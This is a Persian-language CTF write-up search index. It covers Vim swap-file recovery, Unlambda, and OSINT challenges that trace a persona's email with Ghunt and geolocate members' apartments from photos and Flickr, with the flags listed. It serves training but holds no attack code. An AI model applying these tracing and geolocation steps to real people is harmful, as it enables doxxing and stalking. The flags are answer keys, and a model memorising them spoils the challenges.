\u062f\u0631 \u0622\u062e\u0631 \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u06a9\u0647 \u0627\u0632 \u0641\u06cc\u06a9\u0633 \u06a9\u0631\u062f\u0646 png \u0632\u06cc\u0631 \u0633\u06cc\u0628\u06cc\u0644\u06cc \u0631\u062f \u0634\u06cc\u0645\u060c \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0627\u0632 \u0633\u0627\u06cc\u0628\u0631\u0686\u0641 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645

FLAG

SNAPP{D0n7_Op3n_8!NarY_FII35_W1tH_VIM!!}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["SnappCTF","SnappCTF-2024","Misc","Forensics","VIM","SWP","PNG"]},{"location":"misc/writeups/SnappCTF/prying-eyes/","title":"Prying eyes","text":"

\u0647\u0645\u0648\u0646\u0637\u0648\u0631 \u06a9\u0647 \u0627\u0632 \u062a\u0648\u0636\u06cc\u062d\u0627\u062a \u0686\u0644\u0646\u062c \u0645\u0639\u0644\u0648\u0645\u0647 \u06a9\u0647 \u06cc\u0627 \u0628\u0627\u06cc\u062f \u062f\u0646\u0628\u0627\u0644 \u03bb (Lambda) \u0628\u06af\u0631\u062f\u06cc\u0645\u060c \u06cc\u0627 \u0647\u0645 \u062f\u0646\u0628\u0627\u0644 \u06cc\u0647 \u0627\u0646\u06a9\u062f\u06cc\u0646\u06af\u06cc \u0686\u06cc\u0632\u06cc \u0628\u0647 \u0627\u0633\u0645 (prying eyes)

\u06a9\u0647 \u0628\u0627 \u06a9\u0645\u06cc \u0633\u0631\u0686 \u06a9\u0631\u062f\u0646 \u0645\u06cc\u0631\u0633\u06cc\u0645 \u0628\u0647 (Unlambda)

\u0648 \u06cc\u0647 \u06a9\u0627\u0645\u067e\u0627\u06cc\u0644\u0631 \u0622\u0646\u0644\u0627\u06cc\u0646 \u0628\u0631\u0627\u0634 \u067e\u06cc\u062f\u0627 \u0645\u06cc\u06a9\u0646\u06cc\u0645

FLAG

SNAPP{1st:__SNAPP__theSEC&CTF}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["SnappCTF","SnappCTF-2024","Misc","Unlambda","Lambda"]},{"location":"osint/","title":"\u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0645\u0646\u0628\u0639\u200c\u0628\u0627\u0632(\ud835\ude7esint)","text":"

\u0627\u06cc\u0646\u062a\u0631\u0646\u062a \u0627\u0645\u0631\u0648\u0632 \u0628\u0647 \u0648\u0627\u0633\u0637\u0647 \u06af\u0633\u062a\u0631\u0634 \u0634\u0628\u06a9\u0647 \u0647\u0627\u06cc \u0627\u062c\u062a\u0645\u0627\u0639\u06cc\u060c \u0631\u0633\u0627\u0646\u0647\u200c\u0647\u0627\u060c \u0633\u0627\u06cc\u062a\u200c\u0647\u0627\u06cc \u0633\u0627\u0632\u0645\u0627\u0646\u06cc \u0648 \u0634\u062e\u0635\u06cc \u06cc\u06a9 \u0645\u0646\u0628\u0639 \u0627\u0637\u0644\u0627\u0639\u0627\u062a\u06cc \u0628\u0632\u0631\u06af \u0627\u0633\u062a. \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0645\u0646\u0628\u0639\u200c\u0628\u0627\u0632\u2002(\ud835\ude7e\ud835\ude82\ud835\ude78\ud835\ude7d\ud835\ude83)\u2002\u06a9\u0647 \u0633\u0631\u0646\u0627\u0645 \u0639\u0628\u0627\u0631\u062a \u2002\ud835\ude7e\ud835\ude99\ud835\ude8e\ud835\ude97\u2002\ud835\ude82\ud835\ude98\ud835\ude9e\ud835\ude9b\ud835\ude8c\ud835\ude8e\u2002\ud835\ude78\ud835\ude97\ud835\ude9d\ud835\ude8e\ud835\ude95\ud835\ude95\ud835\ude92\ud835\ude90\ud835\ude8e\ud835\ude97\ud835\ude8c\ud835\ude8e \u0627\u0633\u062a \u0628\u0647 \u0627\u0637\u0644\u0627\u0639\u0627\u062a\u06cc \u06af\u0641\u062a\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f \u0628\u0647 \u0635\u0648\u0631\u062a \u0622\u0634\u06a9\u0627\u0631 \u0648 \u0631\u0627\u06cc\u06af\u0627\u0646 \u062f\u0631 \u0641\u0636\u0627\u06cc \u0648\u0628 \u062f\u0631 \u062f\u0633\u062a\u0631\u0633 \u0647\u0645\u06af\u0627\u0646 \u0642\u0631\u0627\u0631 \u062f\u0627\u0631\u062f \u06a9\u0647 \u0628\u0627 \u0627\u0646\u062f\u06a9\u06cc \u06a9\u0646\u06a9\u0627\u0634 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646 \u0628\u0647 \u0622\u0646\u200c\u0647\u0627 \u062f\u0633\u062a \u06cc\u0627\u0641\u062a.

\u0627\u06cc\u0646 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0645\u062b\u0644 \u0646\u0627\u0645 \u0641\u0631\u062f \u0648 \u0634\u063a\u0644 \u0622\u0646 \u0628\u062e\u0648\u062f\u06cc \u062e\u0648\u062f \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0645\u062d\u0631\u0645\u0627\u0646\u0647\u200c\u0627\u06cc \u0646\u06cc\u0633\u062a\u0646\u062f\u060c \u0627\u0645\u0627 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u0628\u0647 \u0646\u062a\u06cc\u062c\u0647\u200c\u06af\u06cc\u0631\u06cc \u0648 \u0628\u0647 \u06a9\u0627\u0631 \u0628\u0631\u062f\u0646 \u0622\u0646\u200c\u0647\u0627 \u0628\u0631\u0627\u06cc \u06cc\u06a9 \u0647\u062f\u0641 \u062e\u0627\u0635 \u06a9\u0645\u06a9 \u06a9\u0646\u0646\u062f. \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0645\u062b\u0627\u0644\u060c \u0627\u0632 \u0631\u0648\u06cc \u0639\u06a9\u0633\u200c\u0647\u0627\u06cc \u067e\u0631\u0648\u0641\u0627\u06cc\u0644 \u0627\u06cc\u0646\u0633\u062a\u0627\u06af\u0631\u0627\u0645 \u06cc\u06a9 \u0634\u062e\u0635 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646 \u0646\u062a\u06cc\u062c\u0647 \u06af\u0631\u0641\u062a \u06a9\u0647 \u0627\u0648 \u0628\u0647 \u06af\u0631\u062f\u0634 \u062f\u0631 \u0637\u0628\u06cc\u0639\u062a \u0639\u0644\u0627\u0642\u0647 \u062f\u0627\u0631\u062f\u060c \u067e\u0633 \u0645\u06cc \u062a\u0648\u0627\u0646 \u06cc\u06a9 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0628\u0647 \u0634\u06a9\u0644 \u06cc\u06a9 \u0639\u06a9\u0633 \u0627\u0632 \u0637\u0628\u06cc\u0639\u062a\u060c \u0634\u062e\u0635 \u0631\u0627 \u0648\u0627\u062f\u0627\u0631 \u0628\u0647 \u0627\u062c\u0631\u0627\u06cc \u0622\u0646 \u06a9\u0631\u062f. \u0628\u0627 \u062c\u0645\u0639\u200c\u0622\u0648\u0631\u06cc \u0648 \u0627\u0633\u062a\u062f\u0644\u0627\u0644 \u0631\u0648\u06cc \u0627\u06cc\u0646 \u0627\u0637\u0644\u0627\u0639\u0627\u062a\u060c \u06cc\u06a9 \u0645\u0647\u0627\u062c\u0645 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u062d\u0645\u0644\u0647\u200c\u0647\u0627\u06cc \u0633\u0627\u06cc\u0628\u0631\u06cc \u0647\u062f\u0641\u0645\u0646\u062f\u062a\u0631\u06cc \u0631\u0627 \u0631\u0648\u06cc \u06cc\u06a9 \u0634\u062e\u0635 \u06cc\u0627 \u0633\u0627\u0632\u0645\u0627\u0646 \u067e\u06cc\u0627\u062f\u0647 \u06a9\u0646\u062f.

","tags":["Osint","\u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0645\u0646\u0628\u0639\u200c\u0628\u0627\u0632"]},{"location":"osint/#osint-ctf","title":"Osint \u062f\u0631 \u0645\u0633\u0627\u0628\u0642\u0627\u062a CTF:","text":"

osint \u06cc\u06a9 \u062f\u0633\u062a\u0647\u200c \u0627\u0632 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc \u062f\u0631 CTF \u0627\u0633\u062a \u06a9\u0647 \u062f\u0631 \u0686\u0646\u062f \u0633\u0627\u0644 \u0627\u062e\u06cc\u0631 \u0628\u062e\u0627\u0637\u0631 \u06af\u0633\u062a\u0631\u0634 \u062f\u0627\u062f\u0647\u200c\u0647\u0627\u06cc \u0645\u0648\u062c\u0648\u062f \u062f\u0631 \u0648\u0628 \u0648 \u06a9\u0645\u06a9 \u0622\u0646 \u0628\u0647 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc (Recon) \u0647\u062f\u0641 \u0628\u0647 \u0627\u06cc\u0646 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0627\u0636\u0627\u0641\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a. \u062f\u0631 \u0627\u06cc\u0646 \u0646\u0648\u0639 \u0627\u0632 \u0686\u0627\u0644\u0634\u200c\u0647\u0627 \u0641\u0631\u062f \u0628\u0627\u06cc\u062f \u0645\u0627\u0646\u0646\u062f \u06cc\u06a9 \u06a9\u0627\u0631\u0627\u06af\u0627\u0647 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0645\u062e\u062a\u0644\u0641 \u062f\u0631 \u0631\u0627\u0628\u0637\u0647 \u0628\u0627 \u06cc\u06a9 \u0645\u0648\u0636\u0648\u0639 \u0631\u0627 \u06a9\u0646\u0627\u0631 \u0647\u0645 \u0628\u0686\u06cc\u0646\u062f \u0648 \u0633\u0631\u0646\u062e\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u0631\u0627 \u062f\u0646\u0628\u0627\u0644 \u06a9\u0646\u062f \u062a\u0627 \u0628\u0647 \u0647\u062f\u0641 \u0686\u0627\u0644\u0634 \u06cc\u0639\u0646\u06cc \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 \u0641\u0644\u06af \u0628\u0631\u0633\u062f. \u062f\u0631 \u0627\u06cc\u0646 \u0631\u0627\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646 \u0627\u0632 \u0627\u0628\u0632\u0627\u0631\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u0645\u0627\u0646\u0646\u062f \u0645\u0648\u062a\u0648\u0631\u200c\u0647\u0627\u06cc \u062c\u0633\u062a\u062c\u0648\u060c \u0634\u0628\u06a9\u0647\u200c\u0647\u0627\u06cc \u0627\u062c\u062a\u0645\u0627\u0639\u06cc\u060c \u0648\u0628\u0633\u0627\u06cc\u062a\u200c\u0647\u0627 \u0648 \u0634\u0648\u0627\u0647\u062f \u0645\u0648\u062c\u0648\u062f \u062f\u0631 \u062a\u0635\u0627\u0648\u06cc\u0631 \u0628\u0647\u0631\u0647 \u0628\u0628\u0631\u062f \u062a\u0627 \u0641\u0644\u06af \u0631\u0627 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u062f.

","tags":["Osint","\u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0645\u0646\u0628\u0639\u200c\u0628\u0627\u0632"]},{"location":"osint/Tools/","title":"\u0627\u0628\u0632\u0627\u0631\u0647\u0627\u06cc \u0645\u0641\u06cc\u062f \u0628\u0631\u0627\u06cc \u062d\u0644 \u0686\u0627\u0644\u0634 \u0647\u0627","text":"

\u0633\u0627\u06cc\u062a \u0647\u0627\u06cc \u0622\u0631\u0634\u06cc\u0648 :

archive.ph

archive.org

"},{"location":"osint/writeups/0xL4ughCTF/cheater/","title":"\u0686\u0627\u0644\u0634 Cheater","text":"

1- \u0627\u0633\u0645 Hamdia Eldhkawy \u062f\u0631 \u06af\u0648\u06af\u0644 \u062c\u0633\u062a\u062c\u0648 \u06a9\u0631\u062f\u0645 \u06a9\u0647 \u0628\u0639\u062f \u062a\u0639\u062f\u0627\u062f\u06cc \u0635\u0641\u062d\u0647 \u0627\u06cc\u0646\u0633\u062a\u0627\u06af\u0631\u0627\u0645\u060c \u0628\u0647 \u0627\u06cc\u0646 \u0622\u062f\u0631\u0633 \u0631\u0633\u06cc\u062f\u0645.

2- \u0627\u0633\u0645 \u0627\u06a9\u0627\u0646\u062a hamdia_elhob_kolo \u062f\u0631 \u0645\u0648\u062a\u0648\u0631 \u062c\u0633\u062a\u062c\u0648 DuckDuckgo \u062c\u0633\u062a\u062c\u0648 \u06a9\u0631\u062f\u0645 \u0628\u0647 \u06cc\u06a9 \u0641\u0631\u0648\u0645 OpenAI \u0645\u06cc \u0631\u0633\u06cc\u0645 \u06a9\u0647 \u0639\u06a9\u0633 \u0632\u06cc\u0631 \u0622\u0646\u062c\u0627 \u0628\u0648\u062f.

3- \u062f\u0631 \u0645\u062a\u0646 \u06a9\u0646\u0627\u0631 \u0627\u06cc\u0646 \u0639\u06a9\u0633 \u06cc\u06a9 \u0628\u0647 \u0646\u0638\u0631 \u06cc\u06a9 \u0627\u06a9\u0627\u0646\u062a spider@ \u0647\u0633\u062a \u06a9\u0647 \u0627\u0648\u0646 \u0631\u0648 \u0632\u06cc\u0627\u062f \u062c\u0633\u062a\u062c\u0648 \u06a9\u0631\u062f\u0645 \u06a9\u0647 \u0646\u062a\u06cc\u062c\u0647 \u0646\u062f\u0627\u0634\u062a. \u0628\u0639\u062f\u060c \u0622\u062f\u0631\u0633 url \u0645\u0648\u062c\u0648\u062f \u062f\u0631 \u0639\u06a9\u0633 \u062c\u0633\u062a\u062c\u0648 \u06a9\u0631\u062f\u0645 \u06a9\u0647 \u0641\u0647\u0645\u06cc\u062f\u0645 \u0627\u06cc\u0646 \u0639\u06a9\u0633 \u0627\u06cc\u0646\u0633\u062a\u0627\u06af\u0631\u0627\u0645 \u062d\u0630\u0641 \u0634\u062f\u0647 \u0627\u0633\u062a. \u062a\u0648\u06cc \u0633\u0627\u06cc\u062a\u200c\u0647\u0627\u06cc \u0622\u0631\u0634\u06cc\u0648 \u062f\u0646\u0628\u0627\u0644 url \u06af\u0634\u062a\u0645 \u06a9\u0647 \u062f\u0631 \u0633\u0627\u06cc\u062a archive.ph \u0632\u06cc\u0631 \u0627\u06cc\u0646 \u0635\u0641\u062d\u0647 \u062b\u0628\u062a \u0634\u062f\u0647 \u0628\u0648\u062f. \u067e\u0633 \u062a\u06a9\u0645\u06cc\u0644 \u0634\u062f\u0647 \u0627\u06a9\u0627\u0646\u062a spidersh4zly@ \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u06cc\u0645.

4- \u0627\u0633\u0645 \u0627\u06a9\u0627\u0646\u062a spidersh4zly@ \u062c\u0633\u062a\u062c\u0648\u06a9\u0631\u062f\u0645 \u06a9\u0647 \u0628\u0647 \u0645\u0627\u0631\u0648 \u0628\u0647 \u0635\u0641\u062d\u0647 \u0627\u06cc\u0646\u0633\u062a\u0627 \u0632\u06cc\u0631 \u0645\u06cc \u0628\u0631\u0647.

5- \u0622\u062f\u0631\u0633 url \u062f\u0627\u062e\u0644 \u0627\u06cc\u0646 \u0635\u0641\u062d\u0647 \u0631\u0648 \u06a9\u0647 \u0628\u0632\u0646\u06cc\u0645 \u0628\u0647 \u0635\u0641\u062d\u0647 \u0632\u06cc\u0631 \u0645\u06cc\u0631\u06cc\u0645 \u06a9\u0647 \u0627\u06a9\u0627\u0646\u062a \u0647\u0627\u06cc \u062a\u0648\u06cc\u06cc\u062a\u0631\u060c \u0641\u06cc\u0633 \u0628\u0648\u06a9 \u0648 \u06cc\u06a9 \u0622\u062f\u0631\u0633 \u062c\u06cc\u200c\u0645\u06cc\u0644 (spidersh4zly4love@gmail.com) \u062f\u0631 \u0627\u0648\u0646\u062c\u0627 \u0647\u0633\u062a.

6- \u062d\u0627\u0644\u0627 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u0628\u0632\u0627\u0631 Ghunt \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0627\u06cc\u0646 \u0627\u06cc\u0645\u06cc\u0644 \u0631\u0627 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u06cc\u0645 \u06a9\u0647 \u0627\u0633\u0645 \u0648 \u0641\u0627\u0645\u06cc\u0644 \u0635\u0627\u062d\u0628 \u0627\u06cc\u0646 \u0627\u06cc\u0645\u06cc\u0644 \u0647\u0645 \u0628\u062f\u0633\u062a \u0622\u0645\u062f.

FLAG

0xL4ugh{Abdelfatah_ElCanaway}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

HIGHer

","tags":["0xL4ughCTF","0xL4ughCTF-2024","Osint","instagram","archive.ph","gmail","Ghunt"]},{"location":"osint/writeups/wctf/WOLPHV-I/WOLPHV-I-Reconnaissance/","title":"\u0686\u0627\u0644\u0634 WOLPHV-I: Reconnaissance","text":"

\u062a\u0648\u06cc \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0628\u0627 \u0627\u06cc\u0646\u06a9\u0647 \u06af\u0641\u062a\u0647 \u0634\u062f\u0647 \u06a9\u0647 \u0628\u0631\u0627\u06cc \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 \u0641\u0644\u06af \u0646\u0628\u0627\u06cc\u062f \u062f\u0646\u0628\u0627\u0644 \u0622\u0646 \u062f\u0631 \u0627\u06a9\u0627\u0646\u062a \u0647\u0627\u06cc \u062a\u0648\u06cc\u06cc\u062a\u0631 \u062e\u0648\u062f \u06af\u0631\u0648\u0647 Wolphv \u0628\u0627\u0634\u06cc\u0645 \u0648\u0644\u06cc \u0628\u0627 \u06cc\u06a9 \u062c\u0633\u062a\u062c\u0648 \u062a\u0648\u06cc \u0627\u06cc\u0646\u062a\u0631\u0646\u062a \u062f\u0631 \u0645\u0648\u0631\u062f \u0627\u06cc\u0646 \u0628\u0627\u062c\u200c\u0627\u0641\u0632\u0627\u0631 \u0628\u0647 \u06cc\u06a9 \u062a\u0648\u06cc\u06cc\u062a \u0628\u0631 \u0645\u06cc\u062e\u0648\u0631\u06cc\u0645 \u06a9\u0647 \u062f\u0631 \u0645\u0648\u0631\u062f \u0627\u06cc\u0646 \u0628\u0627\u062c \u0627\u0641\u0632\u0627\u0631 \u062a\u0648\u06cc\u06cc\u062a\u06cc \u0632\u062f\u0647.

\u0628\u0639\u062f \u0627\u0632 \u0628\u0627\u0632 \u06a9\u0631\u062f\u0646 \u0648 \u0628\u0631\u0631\u0633\u06cc \u0642\u0633\u0645\u062a \u0646\u0638\u0631\u0627\u062a \u060c \u067e\u0627\u06cc\u06cc\u0646 \u062a\u0631\u06cc\u0646 \u06a9\u0627\u0645\u0646\u062a \u06cc\u06a9 \u06a9\u062f base64 \u0647\u0633\u062a \u06a9\u0647 \u0627\u062d\u062a\u0645\u0627\u0644\u0627 \u0628\u0627\u06cc\u062f \u0641\u0644\u06af \u0628\u0627\u0634\u0647. \u0628\u0639\u062f \u062f\u06cc\u06a9\u062f \u06a9\u0631\u062f\u0646 \u0622\u0646 \u0641\u0644\u06af \u0628\u062f\u0633\u062a \u0645\u06cc\u0627\u062f.

\u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 \u0633\u0627\u062f\u0647\u200c\u0627\u06cc \u0628\u0648\u062f \u0627\u0645\u0627 \u0646\u06a9\u062a\u0647 \u06af\u0645\u0631\u0627\u0647 \u06a9\u0646\u0646\u062f\u0647 \u0627\u06cc\u0646 \u0628\u0648\u062f \u06a9\u0647 \u062f\u0631 \u062a\u0648\u0636\u06cc\u062d\u0627\u062a \u0686\u0627\u0644\u0634 \u06af\u0641\u062a\u0647 \u0628\u0648\u062f \u06a9\u0647 \u0646\u0628\u0627\u06cc\u062f \u0628\u0647 \u062a\u0648\u06cc\u06cc\u062a\u0631 \u062a\u0648\u062c\u0647 \u06a9\u0631\u062f.

FLAG

wctf{0k_1_d0nT_th1Nk_A1_w1ll_r3Pl4c3_Us_f0R_4_l0ng_t1me}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

HIGHer

","tags":["wCTF","wCTF-2024","Osint","twitter comments"]},{"location":"osint/writeups/wctf/WOLPHV-III/WOLPHV-III-p1nesh4dow48/","title":"\u0686\u0627\u0644\u0634 WOLPHV-III: p1nesh4dow48","text":"

\u0628\u0639\u062f \u0627\u0632 \u0627\u06cc\u0646\u06a9\u0647 \u062a\u0648\u0646\u0633\u062a\u06cc\u0645 \u0628\u0647 \u0633\u0631\u0648\u0631 \u062f\u06cc\u0633\u06a9\u0648\u0631\u062f \u06af\u0631\u0648\u0647 \u062f\u0631 \u0686\u0627\u0644\u0634 \u0642\u0628\u0644\u06cc \u0648\u0627\u0631\u062f \u0628\u0634\u06cc\u0645 \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 \u0645\u062e\u062a\u0635\u0627\u062a \u0622\u062f\u0631\u0633 \u0622\u067e\u0627\u0631\u062a\u0645\u0627\u0646 \u0627\u06a9\u0627\u0646\u062a p1nesh4dow48 \u0627\u0632 \u0645\u0627 \u0645\u06cc\u062e\u0648\u0627\u062f \u06a9\u0647 \u062f\u0627\u062e\u0644 \u0633\u0631\u0648\u0631 \u0627\u06cc\u0646 \u06af\u0631\u0648\u0647 \u0647\u0645\u06cc\u0646 \u0634\u062e\u0635 \u0639\u06a9\u0633 \u0622\u067e\u0627\u0631\u062a\u0645\u0627\u0646\u0634 \u0631\u0648 \u06af\u0630\u0627\u0634\u062a\u0647 \u0627\u0633\u062a.

\u062e\u0628 \u0628\u0631\u0627\u06cc \u062d\u0644 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0627\u0648\u0644\u06cc\u0646 \u0686\u06cc\u0632\u06cc \u06a9\u0647 \u0628\u0647 \u0630\u0647\u0646\u0645 \u0631\u0633\u06cc\u062f \u0627\u06cc\u0646 \u0628\u0648\u062f \u06a9\u0647 \u062f\u0627\u062e\u0644 google image \u062f\u0646\u0628\u0627\u0644 \u0627\u06cc\u0646 \u0639\u06a9\u0633 \u0628\u06af\u0631\u062f\u0645 \u06a9\u0647 \u0628\u0627 \u062d\u0627\u0644\u062a \u0647\u0627 \u0648 \u062a\u06a9\u0647 \u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u0639\u06a9\u0633 \u0628\u0627 google lenz \u062c\u0633\u062c\u0648 \u06a9\u0631\u062f\u0645 \u0648\u0644\u06cc \u0641\u0627\u06cc\u062f\u0647\u200c\u0627\u06cc \u0646\u062f\u0627\u0634\u062a \u0648 \u0622\u067e\u0627\u0631\u062a\u0645\u0627\u0646 \u0647\u0627 \u0647\u06cc\u0686\u06a9\u062f\u0648\u0645 \u0627\u06cc\u0646 \u0627\u067e\u0627\u0631\u062a\u0645\u0627\u0646 \u0646\u0628\u0648\u062f.

\u0628\u0627 \u062f\u0642\u062a \u0628\u0647 \u0639\u06a9\u0633 \u06cc\u06a9 \u062a\u0627\u0628\u0644\u0648 \u0633\u0645\u062a \u0686\u067e \u0639\u06a9\u0633 \u0645\u06cc\u200c\u0628\u06cc\u0646\u06cc\u0645 \u06a9\u0647 \u0646\u0648\u0634\u062a\u0647 \u0634\u062f\u0647Pine Ridge visitor parking only \u06a9\u0647 \u0630\u0647\u0646\u0645 \u0628\u0631\u062f \u0628\u0647 \u0633\u0645\u062a \u0627\u06cc\u0646\u06a9\u0647 \u0645\u0645\u06a9\u0646\u0647 \u0627\u062d\u062a\u0645\u0627\u0644\u0627 Pine ridge\u06cc\u06a9 \u0645\u06a9\u0627\u0646 \u062f\u06cc\u062f\u0646\u06cc \u0628\u0627\u06cc\u062f \u0628\u0627\u0634\u0647 \u06a9\u0647 \u0645\u0631\u062f\u0645 \u0628\u0631\u0627\u06cc \u0628\u0627\u0632\u062f\u06cc\u062f \u0628\u0647 \u0627\u0648\u0646\u062c\u0627 \u0645\u06cc\u0627\u0646 \u0648 \u0627\u06cc\u0646 \u0622\u067e\u0627\u0631\u062a\u0645\u0627\u0646 \u0646\u0632\u062f\u06cc\u06a9 \u0627\u0648\u0646\u0647. \u067e\u0633 \u062a\u0648\u06cc \u0627\u06cc\u0646\u062a\u0631\u0646\u062a \u0686\u0646\u062f \u0633\u0627\u0639\u062a \u062f\u0646\u0628\u0627\u0644 \u0627\u06cc\u0646 \u0645\u06a9\u0627\u0646 \u062f\u06cc\u062f\u0646\u06cc \u06af\u0634\u062a\u0645 \u0648\u0644\u06cc \u0641\u0627\u06cc\u062f\u0647 \u0646\u062f\u0627\u0634\u062a. \u0628\u0639\u062f \u0627\u0632 \u0645\u062f\u062a\u06cc\u060c \u062f\u0627\u062e\u0644 google Map \u06a9\u0644\u0645\u0627\u062a \u06a9\u0644\u06cc\u062f\u06cc Pine Ridge apartments michigan \u0686\u0648\u0646 \u062d\u062f\u0633 \u0632\u062f\u0645 \u0627\u0633\u0645 \u0622\u067e\u0627\u0631\u062a\u0645\u0627\u0646 \u0634\u0627\u06cc\u062f \u0627\u06cc\u0646 \u0628\u0627\u0634\u0647 \u0648 \u0686\u0648\u0646 \u062f\u0631 \u0631\u0627\u0628\u0637\u0647 \u062f\u0627\u0646\u0634\u06af\u0627\u0647 \u0645\u06cc\u0634\u06af\u0627\u0646 \u0628\u0648\u062f\u0646 \u0627\u06cc\u0646 \u0627\u0641\u0631\u0627\u062f \u06a9\u0647 \u0646\u0642\u0627\u0637 \u0639\u06a9\u0633 \u0632\u06cc\u0631 \u0628\u0647 \u0645\u0627 \u0646\u0634\u0648\u0646 \u062f\u0627\u062f \u06cc\u06a9\u06cc \u0627\u0632 \u0627\u0648\u0646\u200c\u0647\u0627 \u0634\u0628\u0627\u0647\u062a \u0628\u0647 \u0647\u0645\u06cc\u0646 \u0622\u067e\u0627\u0631\u062a\u0645\u0627\u0646 \u0645\u0648\u0631\u062f\u0646\u0638\u0631 \u062f\u0627\u0634\u062a \u0628\u0639\u062f \u06a9\u0647 \u0648\u0627\u0631\u062f street view \u0634\u062f\u0645 \u062f\u06cc\u062f\u0645 \u06a9\u0647 \u0628\u0644\u0647 \u062e\u0648\u062f\u0634\u0647 .

\u067e\u0633 \u062c\u0633\u062a\u062c\u0648\u06cc \u06a9\u0644\u0645\u0647 \u06a9\u0644\u06cc\u062f\u06cc \u0645\u0646\u0627\u0633\u0628 \u062e\u06cc\u0644\u06cc \u0645\u0647\u0645\u0647

FLAG

wctf{46.546,-87.388}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

HIGHer

","tags":["wctf","wctf-2024","Osint","image coordinates","google map"]},{"location":"osint/writeups/wctf/WOLPHV-IV/WOLPHV-IV-d4wgbyte262/","title":"\u0686\u0627\u0644\u0634 WOLPHV-IV: d4wgbyte262","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0647\u0645 \u0628\u0627\u06cc\u062f \u0645\u062b\u0644 \u0642\u0628\u0644\u06cc \u0645\u062d\u0644 \u0633\u06a9\u0648\u0646\u062a \u06cc\u06a9\u06cc \u062f\u06cc\u06af\u0647 \u0627\u0632 \u0627\u0639\u0636\u0627\u06cc \u06af\u0631\u0648\u0647 \u062f\u06cc\u0633\u06a9\u0648\u0631\u062f \u06cc\u0639\u0646\u06cc d4wgbyte262 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u06cc\u0645. \u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u0635\u062d\u0628\u062a \u0647\u0627\u06cc \u06a9\u0647 \u062a\u0648\u06cc \u06af\u0631\u0648\u0647 \u062f\u0627\u0634\u062a\u0646 \u0646\u0634\u0648\u0646 \u0645\u06cc\u062f\u0647 \u06a9\u0647 \u0627\u06cc \u0634\u062e\u0635 \u0633\u06af \u062f\u0627\u0631\u0647\u0648 \u062f\u0631 \u0645\u0648\u0631\u062f \u06cc\u06a9 \u0686\u06cc\u0632\u06cc \u0628\u0647 \u0627\u0633\u0645 flick \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f.

\u0628\u0627 \u0627\u06cc\u0646 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0627\u0648\u0644\u06cc\u0646 \u06a9\u0627\u0631\u06cc \u06a9\u0647 \u06a9\u0631\u062f\u0645 \u0627\u06cc\u0646 \u0628\u0648\u062f \u06a9\u0647 \u0628\u0628\u06cc\u0646\u0645 \u0622\u06cc\u0627 \u0627\u06a9\u0627\u0646\u062a \u062f\u06cc\u06af\u0647\u200c\u0627\u06cc \u0628\u0627 \u0627\u06cc\u0646 \u0627\u0633\u0645 \u062f\u0627\u062e\u0644 \u0634\u0628\u06a9\u0647 \u0647\u0627\u06cc \u0627\u062c\u062a\u0645\u0627\u0639\u06cc \u062f\u06cc\u06af\u0647 \u0647\u0633\u062a \u06cc\u0627 \u0646\u0647. \u067e\u0633 \u062f\u0631 \u0633\u0627\u06cc\u062a discoverprofile \u0627\u06a9\u0627\u0646\u062a \u0627\u06cc\u0646 \u0634\u062e\u0635 \u062c\u0633\u062a\u062c\u0648 \u06a9\u0631\u062f\u0645 \u06a9\u0647 \u0646\u062a\u06cc\u062c\u0647 \u0628\u062f\u0631\u062f \u0628\u062e\u0648\u0631\u06cc \u0646\u062f\u0627\u0634\u062a. \u0628\u0639\u062f \u062a\u0648\u06cc \u0645\u0648\u062a\u0648\u0631 DuckDuckgo \u0647\u0645 \u06af\u0634\u062a\u0645 \u06a9\u0647 \u06cc\u06a9 \u0633\u0627\u06cc\u062a \u0628\u0647 \u0627\u0633\u0645 flickr \u0646\u0638\u0631\u0645 \u062c\u0644\u0628 